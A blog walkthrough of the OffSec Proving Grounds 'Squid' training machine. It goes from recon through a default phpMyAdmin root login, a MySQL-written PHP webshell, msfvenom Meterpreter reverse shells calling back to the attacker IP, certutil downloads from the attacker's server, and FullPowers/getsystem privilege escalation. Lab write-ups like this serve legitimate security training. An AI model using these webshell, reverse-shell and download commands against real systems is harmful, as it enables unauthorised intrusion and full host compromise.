<Introduction>
Hey everyone, welcome to another Cyb3r-S3c post! I'm Pragmat1c_0n3, and today I'll be walking you through the OffSec Proving Grounds Squid vulnerable host. This write-up will cover everything from reconnaissance to post-exploitation. We'll be conducting port scanning and service enumeration, gaining initial access via default credential abuse, command injection, and remote file inclusion. For privilege escalation, we'll use scheduled task abuse and token impersonation.
I've titled this walkthrough 'Easy Mode' because I'll be using a Meterpreter shell, which offers extensive functionality, including several privilege escalation techniques that can be executed with a single command. If you find this content helpful and are passionate about cybersecurity, please regularly check back on Cyb3r-S3c for new content. For more free content please like and subscribe to the Cyb3r-0verwatch YouTube channel.
<OVERVIEW>
Squid is a vulnerable host created by Enox, designed for users to practice ethical hacking techniques. This virtual machine is available through the OffSec Proving Grounds virtual training lab. Squid is vulnerable due to identification and authentication failures, broken access control, and various security misconfigurations.
<Recon: Enumerating What is Running>
To get started, I launched the Squid target host. As you can see on the screen, it now has an IP address. I'll begin with active reconnaissance to gather information about the target and understand its attack surface. This typically involves port scanning and service enumeration to identify open ports and running services.
nmap -sS -p- -A -T4 -vv <target IP> -oA <directory path>To gather detailed information about the target host, I'll perform a comprehensive Nmap scan using the command shown in the CLI. The -sS option runs a TCP SYN scan, probing open ports without completing a full TCP handshake. The -A option enables 'aggressive' mode, which includes OS detection, version scanning, and script scanning for more detailed results. The -T4 option speeds up the scan by using a faster timing template. The -vv option produces highly verbose output, providing a detailed view of the scan's progress and findings. Finally, the -oA option saves the output in all compatible Nmap formats, allowing me to specify the location for saving these results.
<Recon: Analyzing the Results>
The Nmap scan identified six open ports: Port 135 (RPC), Port 139 (NetBIOS), Port 445 (SMB), Port 3128 (HTTP proxy), Port 49666 (msRPC), and Port 49667 (msRPC). Identifying these open ports provides valuable insights into the services running on the target host and highlights potential vulnerabilities that could be exploited.
Based on the information from the Nmap scan results, the vulnerable host Squid appears to be a Windows machine. This conclusion is drawn from the detected OS type indicated by Service Info, CPE data, and the presence of RPC, NetBIOS, and SMB services.
<Recon: Enumerate harder>
enum4linux -a <target IP>As noted earlier, the Nmap scan identified SMB on the target host. Since the goal in the active reconnaissance phase is thorough enumeration, I'll use Enum4linux with the command shown in the CLI to gather information. The -a option performs comprehensive enumerations, including user lists, share lists, group lists, password policies, OS information, and more.
Unfortunately, the output didn't yield any usable information. However, based on the data gathered so far, the target host is named 'squid.' Given this name and the presence of port 3128 (HTTP Proxy), it's likely that the target is a Squid Proxy server. I'll focus my efforts on this service to potentially uncover exploitable vulnerabilities.
<Recon: Investigating the WebApp>
Accessing port 3128 revealed a Squid error message. Analyzing the page, I identified the Squid Proxy version as 4.14.
In an attempt to find a suitable exploit for Squid Proxy version 4.14, I searched Kali's local exploit repository using the Searchsploit command, as shown in the CLI. The results included several Squid exploits, but unfortunately, none targeted version 4.14 specifically.
A google search for 'squid 4.14 exploit' yielded no useful results either.
Service enumeration did not reveal any exploitable vulnerabilities on the target host. Shifting focus to the Squid Proxy, I attempted further enumeration. To test its functionality and determine if the Squid Proxy exposes additional services, I configured Kali to use the Squid Proxy through FoxyProxy, as demonstrated on the screen.
After configuring FoxyProxy to route HTTP traffic through the Squid Proxy, I started by testing common web ports. As shown on the screen, my initial attempt to access port 80 resulted in a connection error.
I also tested port 443 and it failed to connect.
An unexpected discovery occurred when accessing port 8080. Instead of an error, a webpage loaded, revealing valuable information about the target host. The page confirmed the presence of WAMP (Windows, Apache, MySQL/MariaDB, and PHP) on the target, along with the specific versions of each component. Additionally, it listed the loaded extensions, available WAMP tools, and aliases, potentially providing valuable insights for further enumeration.
Clicking on the 'phpinfo' link allowed me to view detailed information about the target's PHP configuration.
Accessing the 'phpsysinfo' link reveals details about the target host's operating system. This information can help validate data already gathered during an assessment.
<Exploitation: Default Credentials for the Win>
After gathering extensive information from the WAMP server's home page and subpages, I'll focus on exploiting the low-hanging fruit. My first step will be to attempt access to phpMyAdmin and Adminer, as they both feature login interfaces.
Reviewing the phpMyAdmin documentation, some default deployments are configured to allow access to the root account with a null password.
It’s always a good idea to try default credentials.
By using 'root' with a null password, I successfully logged into phpMyAdmin. My next step is to explore whether I can leverage this access to gain a foothold on the target host. This will involve examining the functionalities and configurations within phpMyAdmin. Given that I've logged in as 'root', I can assume I have significant privileges.
Within phpMyAdmin, I navigated to the 'User Accounts' section to confirm the 'root' MySQL account's permissions. As can be seen in the browser, Global privileges is set to 'All Privileges'.
Upon closer inspection, it is clear that the account has extensive privileges, which could facilitate privilege escalation. This level of access suggests a strong possibility for further escalation. Based on my experience with MySQL, I should explore the potential of creating a PHP shell to gain additional access.
<Exploitation: Injecting those Queries>
The command for creating a PHP shell within MySQL can be found on Payload All the Things MySQL Injection page. There were some modifications that I had to make.
I clicked on the 'SQL' tab and entered the following SQL query, as shown in the CLI. This query instructs MySQL to execute a directive that copies PHP code and writes it to a file named 'backdoor.php' using the INTO OUTFILE clause. The PHP code will execute a system command based on user input from the 'cmd' URL parameter.
SELECT "<?php system($_GET['cmd']); ?>" into outfile "C:/wamp/www/backdoor.php"I executed the command, and it appears to have run successfully. Now, I'll proceed to test it.
When I browse to 'backdoor.php' I get the following output as shown in my browser. It looks like my PHP script was created successfully and stored in the web root folder.
Issuing the command '?cmd=dir' after 'backdoor.php' revealed the contents of the target host's web root directory.
I ran the 'whoami' command and it showed that I was the local service account.
<Exploitation: Exploiting a Weakness>
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.45.214 LPORT=1234 -f exe > reverse.exeWith a foothold established through the 'backdoor.php' shell, I'll focus on escalating my access. One effective approach is to generate a Meterpreter reverse shell using Msfvenom, as demonstrated in the CLI. While alternatives like a PHP reverse shell with Netcat exist, Meterpreter provides a more feature-rich environment for penetration testing.
The payload generation appears successful, as indicated by the output. I'll proceed with attempting to upload the Msfvenom reverse shell to the target host.
I ran the following command shown in the CLI to start my HTTP server.
Certutil.exe -urlcache -split -f http://192.168.45.214:8080/reverse.exeAfter preparing the environment; such as generating the payload, launching the HTTP server, and setting up the listener I executed the following command through the browser. The output indicates that the Meterpreter reverse shell payload was successfully uploaded to the target host using Certutil.
To confirm that my Meterpreter payload was uploaded successfully, I ran the 'dir' command. As shown on the screen, the reverse shell was uploaded successfully.
msfconsole -qAfter uploading the Meterpreter payload, I need to start a listener to catch the incoming shell. I ran the following command, as shown in the CLI, to launch Metasploit. The -q flag suppresses the Metasploit banner, starting the framework in quiet mode.
After launching Metasploit, I executed the following commands to configure my listener, as shown in the CLI:
I ran use 'exploit/multi/handler' to select the multi-handler module, which serves as a versatile listener for various payloads.
I set the payload type with 'set PAYLOAD windows/meterpreter/reverse_tcp', aligning it with the Windows-specific Meterpreter reverse TCP shell created with Msfvenom.
I configured the local host with 'set LHOST [my Kali IP]' to ensure the incoming connection is correctly routed.
I specified the listening port using 'set LPORT 1234', matching the port set during the Msfvenom payload generation.
Finally, I launched the listener with the 'exploit' command.
To execute my Msfvenom payload I typed 'reverse.exe' in the address bar after the equal sign as shown in the browser and hit enter.
<Exploitation: Foothold Achieved>
Taking a look at my listener, I can see that the listener opened a session with the target host and I now have a Meterpreter shell.
When I run the 'getuid' command, I can see that I am the 'Local service' account.
Having established remote access, I issued the 'dir' command to determine my current directory. The output indicates I'm located within the web root directory.
I changed directory to get to the root directory of the target host. As can be seen in the Meterpreter shell there are several files and folders visible, including the 'Users' folder and the 'local.txt' file.
I cat the 'local.txt' file and I can view the first hash.
Having obtained the 'local.txt' file hash, I attempted to locate the 'proof.txt' flag. Based on past experience, I navigated to the 'Users' folder and found the 'Administrator' folder. When trying to access the 'Administrator' folder I received an "access denied" error indicating the need for me to escalate my privileges.
<Post-Exploitation: Host Enumeration Time>
Certutil.exe -urlcache -split -f http://192.168.45.214:8080/winPEASx64.exe winPEASx64.exeTo expedite enumeration, I ran the following command shown in the browser to upload Winpeas to the target host. WinPEAS is commonly used to identify potential privilege escalation paths. Based on the output it appears to have been successfully uploaded.
Before I execute WinPEASx64, I first want to drop into a command prompt shell.
winPEASx64.exe -a -eI ran the following command shown in the CMD shell to run WinPEAS. The -a runs all checks and the -e runs extra enumeration.
Analysis of the WinPEAS output revealed extensive system information, including potential vulnerabilities inferred from installed updates (KBs) and registry entries. One section that was notable was the "Current Token Privileges" section highlighted unexpectedly limited permissions for the 'LocalService' account.
I ran the 'whoami /priv' command to verify WinPEAS finding. Based on past experience the 'Local Service' account appears to have less privileges than expected.
Cross-referencing my documented notes, I discovered a discrepancy between the 'LocalService' account privileges listed in the 'whoami /priv' output and the expected default permissions outlined in Microsoft's documentation, as shown in the image above. The privileges the 'LocalService' has is far less than what the default privilege set is.
While researching privilege escalation, I discovered that the "SeAssignPrimaryToken" privilege, included in the 'LocalService' account's default permission set according to Microsoft's documentation, can be potentially exploited for privilege escalation. This information was found on the Payload All the Things Windows Privilege Escalation page.
On the Payload All the Things Windows Privilege Escalation page, the "EoP - Impersonation Privileges" section references a GitHub repository hosting a tool called FullPowers for restoring service account privileges. This suggests a potential avenue for exploiting the 'LocalService' account.
I also noticed that HackTricks also referenced the FullPowers github page.
Navigating to the FullPowers Github repository, I could see it references the 'LocalService' account and mentions recovering the default privilege set.
FullPowers is a tool designed to recover the default privilege set of LOCAL and NETWORK SERVICE accounts on Windows hosts. It utilizes the Task Scheduler Service to create a new process with the missing privileges. The GitHub repository offers detailed information on the tool and its usage, along with a link to a comprehensive write-up about the privilege escalation technique. The GitHub Releases page provides the fully compiled version of the tool.
I navigated to 'Releases' and copied the URL address for the FullPowers.exe file.
In Kali I ran the following command shown in the CLI to download FullPowers.exe.
<Post-Exploitation: Privilege Escalation Time>
Certutil.exe -urlcache -split -f http://192.168.45.214:8080/FullPowers.exeNow that FullPowers.exe has been downloaded, I can upload it to the target host. I ran the following command shown in the address bar of the browser to upload FullPowers.
Reviewing PayloadAlltheThings it notes the command to run FullPowers. The command shown notes Netcat, but I will use a Meterpreter shell.
Msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.45.214 LPORT=4321 -f exe > reverse_fp.exeI need to generate a Meterpreter reverse shell. I ran the following Msfvenom command shown in the CLI to generate my 'payload reverse_fp.exe'.
I ran the following command shown in the address bar to upload my 'reverse_fp.exe' payload. It appears to have been uploaded successfully.
I started Metasploit on a new tab using the following command shown in the CLI. I launched my Metasploit listener using the multi-handler module similar to my earlier Msfvenom payload. The only difference is this time I set my listening port to 4321.
On my original 'reverse.exe' shell I dropped into the command prompt by typing “shell” in Meterpreter.
(FullPowers.exe)I executed the following command shown in the CLI. Based on the output, it appears that it has executed successfully.
I ran the ‘whoami /priv’ command to verify whether FullPowers worked. It appears that I have a majority of the privileges required to escalate privileges. Doing some research 'SeAssignPrimaryTokenPrivilege', 'SeImpersonatePrivilege' privilege set are sufficient to impersonate any account on the target host.
I changed directory to the '\wamp\www' folder.
I ran the 'reverse_fp.exe' payload.
Looking at my second listener on port 4321, it caught the shell.
I dropped into the command prompt shell and ran the ‘whoami /priv’ command to verify the privilege set.
Now that I have verified that the privilege set for the 'LocalService' account has been restored, I’ll drop back into my Meterpreter shell.
In the Meterpreter shell I typed “getsystem”. Based on the output it appears that named pipe impersonation was successful.
<Post-Exploitation: I Am Root>
I wanted to verify that the privilege escalation worked. I typed “whoami” and as can be seen in the command prompt output it shows “System”.
Now that I am the 'System' account I need to change directory to the '\Users\Administrator\Desktop' to locate the 'proof.txt' file.
I run the 'dir' command and I can see the 'proof.txt' file containing the final hash.
type proof.txtI ran the type command as shown in the command prompt to view the contents of the 'proof.txt' file. And with that, I have completed the vulnerable host.
</CONCLUSION>
In conclusion, this write-up of the OffSec Proving Grounds Squid vulnerable host showcases the journey from initial reconnaissance to achieving root privileges. The reconnaissance phase provided crucial information that was leveraged to gain a foothold on the target. Through systematic enumeration and analysis, I identified a viable path for privilege escalation and successfully captured the root flag.
If you found this content informative and are interested in cybersecurity, be sure to check back regularly on Cyb3r-S3c for updates. For more free content, please like and subscribe to the Cyb3r-0verwatch YouTube channel. Remember, the key to improvement is continuous learning.
/Signing off,
Pragmat1c_0n3
Komentáre